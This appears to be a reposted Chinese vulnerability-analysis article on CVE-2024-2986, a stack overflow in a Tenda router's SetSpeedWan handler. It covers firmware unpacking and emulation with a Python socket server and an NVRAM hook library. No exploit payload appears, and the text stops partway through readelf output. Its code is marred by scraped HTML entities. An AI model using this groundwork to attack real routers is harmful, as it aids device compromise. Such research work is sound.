Tenda堆栈缓冲区溢出漏洞(CVE-2024-2986)

admin 2026-03-05 20:13:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档深入分析TendaFH1202路由器CVE-2024-2986堆栈溢出漏洞,指出漏洞源于formSetSpeedWan函数未校验输入长度。文章详细记录了固件解包、环境模拟及依赖项仿真过程,包括编写UnixDomainSocket服务脚本和NVRAMHook代码。通过展示完整的漏洞复现环境搭建步骤,为IoT设备固件仿真与漏洞验证提供了极具参考价值的技术方案。 综合评分: 90 文章分类: 漏洞分析,IoT安全,二进制安全,漏洞POC


cover_image

Tenda堆栈缓冲区溢出漏洞 (CVE-2024-2986)

易之生生 易之生生

看雪学苑

2026年3月4日 17:59 上海

CNVD 最近公开了CNVD-2025-31165(CVE-2024-2986) 漏洞,漏洞描述为:

Tenda FH1202是腾达品牌推出的一款双频无线路由器,专为大户型家庭、小型办公室或商务休闲区域设计,旨在提供稳定的无线网络覆盖和高速传输。

Tenda FH1202存在堆栈缓冲区溢出漏洞,该漏洞源于/goform/SetSpeedWan文件的formSetSpeedWan方法的speed_dir参数未能正确验证输入数据的长度大小,攻击者可利用该漏洞在系统上执行任意代码或者导致拒绝服务。

int __fastcall formSetSpeedWan(_DWORD *a1){
  _DWORD nptr[8]; // [sp+10h] [bp-5Ch] BYREF
  _DWORD s[8]; // [sp+30h] [bp-3Ch] BYREF
void *v5; // [sp+50h] [bp-1Ch]
char *nptr_1; // [sp+54h] [bp-18h]
char *nptr_2; // [sp+58h] [bp-14h]
int v8; // [sp+5Ch] [bp-10h]

memset(s, 0, sizeof(s));
memset(nptr, 0, sizeof(nptr));
  v8 = 0;
  nptr_2 = (char *)sub_2BA8C((int)a1, (int)"speed_dir", (int)"0");
  nptr_1 = (char *)sub_2BA8C((int)a1, (int)"ucloud_enable", (int)"0");
  ...
  ...
  ...
sprintf((char *)s, "{"errCode":%d,"speed_dir":%s}", v8, nptr_2);
return sub_9CCBC(a1, (constchar *)s);
}

#

环境模拟

软件版本 :AC15_V15.03.05.19

binwalk 分析 Squashfs 的系统文件

binwalk US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size:10629120 bytes, CRC32:0xAB135998, flags:0x0, version:1, header size:28 bytes, loader offset:0x1C, linux kernel offset:0x1C9E58, rootfs offset:0x0
92            0x5C            LZMA compressed data, properties:0x5D, dictionary size:65536 bytes, uncompressed size:4585280 bytes
1875608       0x1C9E98        Squashfs filesystem, little endian, version 4.0, compression:xz, size:8749996 bytes, 928 inodes, blocksize:131072 bytes, created:2017-05-26 02:03:03

执行 binwalk -e -1 解压

binwalk -e -1 US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
64            0x40            TRX firmware header, little endian, image size:10629120 bytes, CRC32:0xAB135998, flags:0x0, version:1, header size:28 bytes, loader offset:0x1C, linux kernel offset:0x1C9E58, rootfs offset:0x0
92            0x5C            LZMA compressed data, properties:0x5D, dictionary size:65536 bytes, uncompressed size:4585280 bytes
1875608       0x1C9E98        Squashfs filesystem, little endian, version 4.0, compression:xz, size:8749996 bytes, 928 inodes, blocksize:131072 bytes, created:2017-05-26 02:03:03

根据 ./etc_ro/init.d/rcS 的脚本来创建环境目录

mkdir -p /var/etc
mkdir -p /var/media
mkdir -p /var/webroot
mkdir -p /var/etc/iproute
mkdir -p /var/run
cp -rf /etc_ro/* /etc/
cp -rf /webroot_ro/* /webroot/
mkdir -p /var/etc/upan
mount -a

mount -t ramfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mount -t tmpfs none /var/etc/upan -o size=2M
mdev -s
mkdir /var/run

创建 br0 的虚拟网卡

ip link add name br0 type bridge
ip link set br0 up
ip addr add 192.168.3.3/24 dev br0

根据 libCfm.so 的 GetValue 函数创建 Unix Domain Socket , 发送信息的格式如下 :

00000000 struct CMDINFO // sizeof=0x7E0
00000000 {                                       // XREF: CommitUrlCfm/r
00000000                                         // CommitUrlCfm/r ...
00000000     int cmd;
00000004     char name[512];                     // XREF: CommitUrlCfm+70/o
00000004                                         // CommitUrlCfm+B4/o ...
00000204     char value[1500];                   // XREF: GetValue+104/w
00000204                                         // GetUrlValue+100/w ...
000007E0 };

创建 Unix Domain Socket /var/cfm_socket 的 uds_server.py 脚本代码如下 :

import socket
import os
import time
import configparser
import struct

import hexdump

# --- 配置 ---
# SOCKET_PATH = '/var/cfm_socket'
# SOCKET_PATH = '/tmp/cfm_socket'
SOCKET_PATH = '/kctf/tenda/tendaac15/var/cfm_socket'

BUFFER_SIZE = 2016  # 定义一次接收的最大字节数

config = configparser.RawConfigParser()
config.read("default.ini", encoding='utf-8')

def parse_cmdinfo(data):
# 检查数据长度
if len(data) != 2016:
raise ValueError("数据包大小不正确,应为2016字节")

# 使用struct.unpack解析(格式:小端序整数 + 512字节字符串 + 1500字节字符串)
&nbsp; &nbsp; cmd, name_bytes, value_bytes = struct.unpack('<i512s1500s', data)

# 找到第一个0x00的位置并截断
&nbsp; &nbsp; name_end = name_bytes.find(b'\x00')
if&nbsp;name_end != -1:
&nbsp; &nbsp; &nbsp; &nbsp; name_bytes = name_bytes[:name_end]

&nbsp; &nbsp; value_end = value_bytes.find(b'\x00')
if&nbsp;value_end != -1:
&nbsp; &nbsp; &nbsp; &nbsp; value_bytes = value_bytes[:value_end]

# 处理字符串:去除可能的null填充并解码(假设C发送的是ASCII字符串)
&nbsp; &nbsp; name = name_bytes.rstrip(b'\x00').decode('ascii', errors='ignore')
&nbsp; &nbsp; value = value_bytes.rstrip(b'\x00').decode('ascii', errors='ignore')

return&nbsp;cmd, name, value

def&nbsp;pack_cmdinfo(cmd, name, value):
"""
&nbsp; &nbsp; 将cmd、name、value打包成2016字节的二进制数据
&nbsp; &nbsp; :param cmd: int, 命令编号
&nbsp; &nbsp; :param name: str, 名称(最多511字符,留1位给null)
&nbsp; &nbsp; :param value: str, 值(最多1499字符,留1位给null)
&nbsp; &nbsp; :return: bytes, 打包后的二进制数据
&nbsp; &nbsp; """
# 1. 转换为字节(假设C使用ASCII编码,实际可能是UTF-8或其他)
&nbsp; &nbsp; name_bytes = name.encode('ascii')[:511] &nbsp;# 截断超长部分
&nbsp; &nbsp; value_bytes = value.encode('ascii')[:1499]

# 2. 填充到固定大小(用null字节填充)
&nbsp; &nbsp; name_padded = name_bytes +&nbsp;b'\x00'&nbsp;* (512&nbsp;-&nbsp;len(name_bytes))
&nbsp; &nbsp; value_padded = value_bytes +&nbsp;b'\x00'&nbsp;* (1500&nbsp;-&nbsp;len(value_bytes))

# 3. 打包(小端序,与解析时一致)
# 格式:i (4字节整数) + 512s + 1500s
&nbsp; &nbsp; packed = struct.pack('<i512s1500s', cmd, name_padded, value_padded)

return&nbsp;packed

# --- 服务器逻辑 ---
def&nbsp;run_uds_server():
# 1. 清理:如果套接字文件已存在,则删除它
try:
if&nbsp;os.path.exists(SOCKET_PATH):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.remove(SOCKET_PATH)
except&nbsp;OSError&nbsp;as&nbsp;e:
print(f"{e}")
return

# 2. 创建套接字
&nbsp; &nbsp; server_socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

try:
# 3. 绑定和监听
&nbsp; &nbsp; &nbsp; &nbsp; server_socket.bind(SOCKET_PATH)
&nbsp; &nbsp; &nbsp; &nbsp; server_socket.listen(5)&nbsp;# 允许5个挂起连接

# 4. 确保权限(可选,确保其他程序可以连接)
&nbsp; &nbsp; &nbsp; &nbsp; os.chmod(SOCKET_PATH,&nbsp;0o666)

while&nbsp;True:
# 5. 接受新连接
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn, addr = server_socket.accept()

try:
while&nbsp;True:
# 6. 接收数据
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; received_data = conn.recv(BUFFER_SIZE)
if&nbsp;received_data:

# 打印接收到的数据
# hexdump.hexdump(received_data)
# print('\n')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmd, name, value = parse_cmdinfo(received_data)
print(f"received_data-> cmd:&nbsp;{cmd}&nbsp;name:&nbsp;{name}&nbsp;value:&nbsp;{value}")

if&nbsp;value !=&nbsp;"":
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; config.set('DEFAULT', name, value)

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmd = cmd +&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value = config['DEFAULT'].get(name,&nbsp;'')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response_data = pack_cmdinfo(cmd, name, value)
print(f"response_data-> cmd:&nbsp;{cmd}&nbsp;name:&nbsp;{name}&nbsp;value:&nbsp;{value}")
# hexdump.hexdump(response_data)
# print('\n')
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.sendall(response_data)

else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(1)
# print("No data received.")

except&nbsp;Exception&nbsp;as&nbsp;e:
print(f"{e}")

finally:
# 8. 关闭连接
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.close()

except&nbsp;KeyboardInterrupt:
print("Ctrl+C...")

except&nbsp;Exception&nbsp;as&nbsp;e:
print(f"{e}")

finally:
# 9. 最终清理

# 将修改写入配置文件
with&nbsp;open('default.ini',&nbsp;'w', encoding='utf-8')&nbsp;as&nbsp;configfile:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; config.write(configfile)

&nbsp; &nbsp; &nbsp; &nbsp; server_socket.close()
if&nbsp;os.path.exists(SOCKET_PATH):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; os.remove(SOCKET_PATH)

if&nbsp;__name__ ==&nbsp;"__main__":
# 由于 /var 目录通常需要 root 权限,您需要使用 sudo 运行此脚本
&nbsp; &nbsp; run_uds_server()

default.ini 是 /webroot/default.cfg 转换的, 唯一的问题是程序客户端代码使用的是长连接的方式, 断开后还需要重启 uds_server.py 程序。

此外, 还需要模拟 bcm_nvram_* 函数:

001114D0        bcm_nvram_set   .dynsym
001114EC        bcm_nvram_match .dynsym
00111540        bcm_nvram_get   .dynsym
00111660        bcm_nvram_commit    .dynsym

HOOK NVRAM 的代码 hook_nvram.c 如下 :

#include&nbsp;<stdio.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<string.h>
// #include <ctype.h>
#include&nbsp;<stdbool.h>
#include&nbsp;<errno.h>

// 假设配置文件路径
#define&nbsp;ROUTE_CONFIG_PATH&nbsp;"/tmp/nvram_default.cfg"
#define&nbsp;MAX_LINE_LENGTH 256
#define&nbsp;MAX_KEY_LENGTH 64
#define&nbsp;MAX_VALUE_LENGTH 128

#define&nbsp;isspace(c) my_isspace(c)
intmy_isspace(int&nbsp;c)&nbsp;{
// 标准 C 定义的空白字符:空格、制表符、换行、回车、换页、垂直制表符
return&nbsp;(c ==&nbsp;' '&nbsp; ||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c ==&nbsp;'\t'&nbsp;||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c ==&nbsp;'\n'&nbsp;||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c ==&nbsp;'\r'&nbsp;||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c ==&nbsp;'\f'&nbsp;||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c ==&nbsp;'\v');
}

intbcm_nvram_set(constchar&nbsp;*key,&nbsp;constchar&nbsp;*value){
&nbsp; &nbsp; FILE *fp_read, *fp_write;
char&nbsp;line[MAX_LINE_LENGTH];
char&nbsp;config_key[MAX_KEY_LENGTH];
char&nbsp;config_value[MAX_VALUE_LENGTH];
char&nbsp;temp_file[] =&nbsp;"/tmp/nvram.ini.tmp";
int&nbsp;found =&nbsp;0;
int&nbsp;result =&nbsp;0;

// 参数检查
if&nbsp;(!key ||&nbsp;strlen(key) ==&nbsp;0&nbsp;|| !value) {
fprintf(stderr,&nbsp;"Error: Invalid key or value parameter\n");
return&nbsp;1;
&nbsp; &nbsp; }

// 验证key不包含等号或换行符
if&nbsp;(strchr(key,&nbsp;'=') !=&nbsp;NULL&nbsp;||&nbsp;strchr(key,&nbsp;'\n') !=&nbsp;NULL) {
fprintf(stderr,&nbsp;"Error: Key contains invalid characters\n");
return&nbsp;1;
&nbsp; &nbsp; }

// 验证value不包含换行符
if&nbsp;(strchr(value,&nbsp;'\n') !=&nbsp;NULL) {
fprintf(stderr,&nbsp;"Error: Value contains newline character\n");
return&nbsp;1;
&nbsp; &nbsp; }

// 打开原配置文件用于读取
&nbsp; &nbsp; fp_read =&nbsp;fopen(ROUTE_CONFIG_PATH,&nbsp;"r");

// 创建临时文件用于写入
&nbsp; &nbsp; fp_write =&nbsp;fopen(temp_file,&nbsp;"w");
if&nbsp;(fp_write ==&nbsp;NULL) {
fprintf(stderr,&nbsp;"Error: Cannot create temp file: %s\n",&nbsp;strerror(errno));
if&nbsp;(fp_read)&nbsp;fclose(fp_read);
return&nbsp;1;
&nbsp; &nbsp; }

// 如果原文件存在,逐行处理
if&nbsp;(fp_read !=&nbsp;NULL) {
while&nbsp;(fgets(line,&nbsp;sizeof(line), fp_read) !=&nbsp;NULL) {
char&nbsp;*trimmed_line = line;
bool&nbsp;is_comment_or_empty =&nbsp;false;

// 移除换行符
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line[strcspn(line,&nbsp;"\n")] =&nbsp;'\0';

// 跳过空行和注释行(以#开头)
if&nbsp;(line[0] ==&nbsp;'\0'&nbsp;|| line[0] ==&nbsp;'#') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_comment_or_empty =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 移除行首空白字符
while&nbsp;(isspace((unsignedchar)*trimmed_line)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trimmed_line++;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 跳过只有空白字符的行
if&nbsp;(*trimmed_line ==&nbsp;'\0') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_comment_or_empty =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 如果是注释或空行,直接写入临时文件
if&nbsp;(is_comment_or_empty) {
fprintf(fp_write,&nbsp;"%s\n", line);
continue;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 解析 key=value 格式
if&nbsp;(sscanf(trimmed_line,&nbsp;"%63[^=]=%127[^\n]", config_key, config_value) >=&nbsp;1) {
// 去除键名可能的尾部空白
char&nbsp;*trimmed_key = config_key +&nbsp;strlen(config_key) -&nbsp;1;
while&nbsp;(trimmed_key > config_key &&&nbsp;isspace((unsignedchar)*trimmed_key)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *trimmed_key =&nbsp;'\0';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trimmed_key--;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 检查是否匹配请求的键
if&nbsp;(strcmp(config_key, key) ==&nbsp;0) {
// 找到匹配的键,写入新的值
fprintf(fp_write,&nbsp;"%s=%s\n", key, value);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found =&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
// 不是我们要修改的键,原样写入
fprintf(fp_write,&nbsp;"%s\n", line);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
// 格式错误的行,原样写入
fprintf(fp_write,&nbsp;"%s\n", line);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

fclose(fp_read);
&nbsp; &nbsp; }

// 如果没找到键,在文件末尾添加
if&nbsp;(!found) {
fprintf(fp_write,&nbsp;"%s=%s\n", key, value);
&nbsp; &nbsp; }

// 关闭临时文件
fclose(fp_write);

// 用临时文件替换原文件
if&nbsp;(rename(temp_file, ROUTE_CONFIG_PATH) !=&nbsp;0) {
fprintf(stderr,&nbsp;"Error: Cannot replace config file: %s\n",&nbsp;strerror(errno));
// 尝试删除临时文件
remove(temp_file);
&nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;1;
&nbsp; &nbsp; }

printf("[DEBUG] Setting config: %s = %s\n", key, value);
return&nbsp;result;
}

char&nbsp;*bcm_nvram_get(constchar&nbsp;*key){
&nbsp; &nbsp; FILE *fp;
char&nbsp;line[MAX_LINE_LENGTH];
char&nbsp;config_key[MAX_KEY_LENGTH];
char&nbsp;config_value[MAX_VALUE_LENGTH];
char&nbsp;*result =&nbsp;NULL;
int&nbsp;found =&nbsp;0;

// 参数检查
if&nbsp;(!key ||&nbsp;strlen(key) ==&nbsp;0) {
fprintf(stderr,&nbsp;"Error: Invalid key parameter\n");
return&nbsp;NULL;
&nbsp; &nbsp; }

// 打开配置文件
&nbsp; &nbsp; fp =&nbsp;fopen(ROUTE_CONFIG_PATH,&nbsp;"r");
if&nbsp;(fp ==&nbsp;NULL) {
fprintf(stderr,&nbsp;"Error: Cannot open config file %s: %s\n", ROUTE_CONFIG_PATH,&nbsp;strerror(errno));
return&nbsp;NULL;
&nbsp; &nbsp; }

// 逐行读取配置文件
while&nbsp;(fgets(line,&nbsp;sizeof(line), fp) !=&nbsp;NULL) {
// 移除换行符
&nbsp; &nbsp; &nbsp; &nbsp; line[strcspn(line,&nbsp;"\n")] =&nbsp;'\0';

// 跳过空行和注释
if&nbsp;(line[0] ==&nbsp;'\0'&nbsp;|| line[0] ==&nbsp;'#') {
continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

// 移除行首空白字符
char&nbsp;*trimmed_line = line;
while&nbsp;(isspace((unsignedchar)*trimmed_line)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trimmed_line++;
&nbsp; &nbsp; &nbsp; &nbsp; }

// 跳过空行(只有空白字符的行)
if&nbsp;(*trimmed_line ==&nbsp;'\0') {
continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

// 解析 key=value 格式
if&nbsp;(sscanf(trimmed_line,&nbsp;"%63[^=]=%127[^\n]", config_key, config_value) ==&nbsp;2) {
// 去除键名可能的尾部空白
char&nbsp;*trimmed_key = config_key +&nbsp;strlen(config_key) -&nbsp;1;
while&nbsp;(trimmed_key > config_key &&&nbsp;isspace((unsignedchar)*trimmed_key)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *trimmed_key =&nbsp;'\0';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trimmed_key--;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 去除键值可能的首部空白
char&nbsp;*trimmed_value = config_value;
while&nbsp;(isspace((unsignedchar)*trimmed_value)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trimmed_value++;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 去除键值可能的尾部空白
char&nbsp;*end_value = trimmed_value +&nbsp;strlen(trimmed_value) -&nbsp;1;
while&nbsp;(end_value > trimmed_value &&&nbsp;isspace((unsignedchar)*end_value)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *end_value =&nbsp;'\0';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end_value--;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 检查是否匹配请求的键
if&nbsp;(strcmp(config_key, key) ==&nbsp;0) {
// 分配内存并复制值
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;malloc(strlen(trimmed_value) +&nbsp;1);
if&nbsp;(result) {
strcpy(result, trimmed_value);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found =&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
fprintf(stderr,&nbsp;"Error: Memory allocation failed\n");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
break;&nbsp;// 找到配置项,退出循环
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

fclose(fp);

if&nbsp;(result) {
printf("[DEBUG] Getting config: %s = %s\n", key, result);
&nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;"";
printf("[DEBUG] Config not found: %s\n", key);
&nbsp; &nbsp; }

if&nbsp;(!found) {
// 不打印警告,让调用者决定是否记录
&nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;"";
&nbsp; &nbsp; }

return&nbsp;result;
}

boolbcm_nvram_match(constchar&nbsp;*key,&nbsp;constchar&nbsp;*value){
bool&nbsp;result =&nbsp;false;
char&nbsp;*config_value =&nbsp;bcm_nvram_get(key);

if&nbsp;(config_value && value) {
&nbsp; &nbsp; &nbsp; &nbsp; result = (strcmp(config_value, value) ==&nbsp;0);
&nbsp; &nbsp; }

printf("[DEBUG] Match config: %s = %s, result: %s\n",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;key, value, result ?&nbsp;"true"&nbsp;:&nbsp;"false");

if&nbsp;(config_value) {
free(config_value);
&nbsp; &nbsp; }

return&nbsp;result;
}

intbcm_nvram_commit(void){
#ifdef&nbsp;__linux__
sync();
#endif

printf("[DEBUG] Save config\n");
return&nbsp;0;
}

intbcm_nvram_unset(constchar&nbsp;*key){
&nbsp; &nbsp; FILE *fp_read, *fp_write;
char&nbsp;line[MAX_LINE_LENGTH];
char&nbsp;config_key[MAX_KEY_LENGTH];
char&nbsp;config_value[MAX_VALUE_LENGTH];
char&nbsp;temp_file[] =&nbsp;"/tmp/route.cfg.tmp";
int&nbsp;found =&nbsp;0;
int&nbsp;result =&nbsp;0;

// 参数检查
if&nbsp;(!key ||&nbsp;strlen(key) ==&nbsp;0) {
fprintf(stderr,&nbsp;"Error: Invalid key parameter\n");
return&nbsp;1;
&nbsp; &nbsp; }

// 打开原配置文件用于读取
&nbsp; &nbsp; fp_read =&nbsp;fopen(ROUTE_CONFIG_PATH,&nbsp;"r");
if&nbsp;(fp_read ==&nbsp;NULL) {
// 文件不存在,不需要删除
printf("[DEBUG] Unset config: %s (file not exists)\n", key);
return&nbsp;0;
&nbsp; &nbsp; }

// 创建临时文件用于写入
&nbsp; &nbsp; fp_write =&nbsp;fopen(temp_file,&nbsp;"w");
if&nbsp;(fp_write ==&nbsp;NULL) {
fprintf(stderr,&nbsp;"Error: Cannot create temp file: %s\n",&nbsp;strerror(errno));
fclose(fp_read);
return&nbsp;1;
&nbsp; &nbsp; }

// 逐行读取原文件
while&nbsp;(fgets(line,&nbsp;sizeof(line), fp_read) !=&nbsp;NULL) {
char&nbsp;*trimmed_line = line;
bool&nbsp;is_comment_or_empty =&nbsp;false;

// 移除换行符
&nbsp; &nbsp; &nbsp; &nbsp; line[strcspn(line,&nbsp;"\n")] =&nbsp;'\0';

// 跳过空行和注释行(以#开头)
if&nbsp;(line[0] ==&nbsp;'\0'&nbsp;|| line[0] ==&nbsp;'#') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_comment_or_empty =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; }

// 移除行首空白字符
while&nbsp;(isspace((unsignedchar)*trimmed_line)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trimmed_line++;
&nbsp; &nbsp; &nbsp; &nbsp; }

// 跳过只有空白字符的行
if&nbsp;(*trimmed_line ==&nbsp;'\0') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; is_comment_or_empty =&nbsp;true;
&nbsp; &nbsp; &nbsp; &nbsp; }

// 如果是注释或空行,直接写入临时文件
if&nbsp;(is_comment_or_empty) {
fprintf(fp_write,&nbsp;"%s\n", line);
continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

// 解析 key=value 格式
if&nbsp;(sscanf(trimmed_line,&nbsp;"%63[^=]=%127[^\n]", config_key, config_value) ==&nbsp;2) {
// 去除键名可能的尾部空白
char&nbsp;*trimmed_key = config_key +&nbsp;strlen(config_key) -&nbsp;1;
while&nbsp;(trimmed_key > config_key &&&nbsp;isspace((unsignedchar)*trimmed_key)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *trimmed_key =&nbsp;'\0';
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; trimmed_key--;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

// 检查是否匹配请求的键
if&nbsp;(strcmp(config_key, key) ==&nbsp;0) {
// 找到匹配的键,跳过不写入(即删除)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found =&nbsp;1;
continue;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
// 不是我们要删除的键,原样写入
fprintf(fp_write,&nbsp;"%s\n", line);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
// 格式错误的行,原样写入
fprintf(fp_write,&nbsp;"%s\n", line);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

// 关闭文件
fclose(fp_read);
fclose(fp_write);

// 用临时文件替换原文件
if&nbsp;(rename(temp_file, ROUTE_CONFIG_PATH) !=&nbsp;0) {
fprintf(stderr,&nbsp;"Error: Cannot replace config file: %s\n",&nbsp;strerror(errno));
// 尝试删除临时文件
remove(temp_file);
&nbsp; &nbsp; &nbsp; &nbsp; result =&nbsp;1;
&nbsp; &nbsp; }

printf("[DEBUG] Unset config: %s %s\n", key, found ?&nbsp;"deleted"&nbsp;:&nbsp;"not found");
return&nbsp;result;
}

/tmp/nvram_default.cfg 是 /webroot/nvram_default.cfg 复制过来的。

查看 httpd 的 GCC 版本,使用的是 Buildroot ,C 标准库是 uClibc:

strings bin/httpd | grep&nbsp;"GCC"
GCC_3.5
GCC: (GNU) 3.3.2 20031005 (Debian prerelease)
GCC: (Buildroot 2012.02) 4.5.3

根据 GITHUB 上的 buildroot 项目, 编译生成支持 ARMv7 + uClibc + soft-float 的 arm-linux-gcc

编译命令如下 :

./buildroot/output/host/bin/arm-linux-gcc -shared -fPIC hook_nvram.c -o hook_nvram.so -ldl

生成的 hook_nvram.so ELF 信息文件如下 :

ELF Header:
&nbsp; Magic: &nbsp;&nbsp;7f&nbsp;45&nbsp;4c&nbsp;46&nbsp;01&nbsp;01&nbsp;01&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00&nbsp;00
Class: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ELF32
&nbsp; Data: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2's complement, little endian
&nbsp; Version: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1&nbsp;(current)
&nbsp; OS/ABI: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UNIX - System V
&nbsp; ABI Version: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0
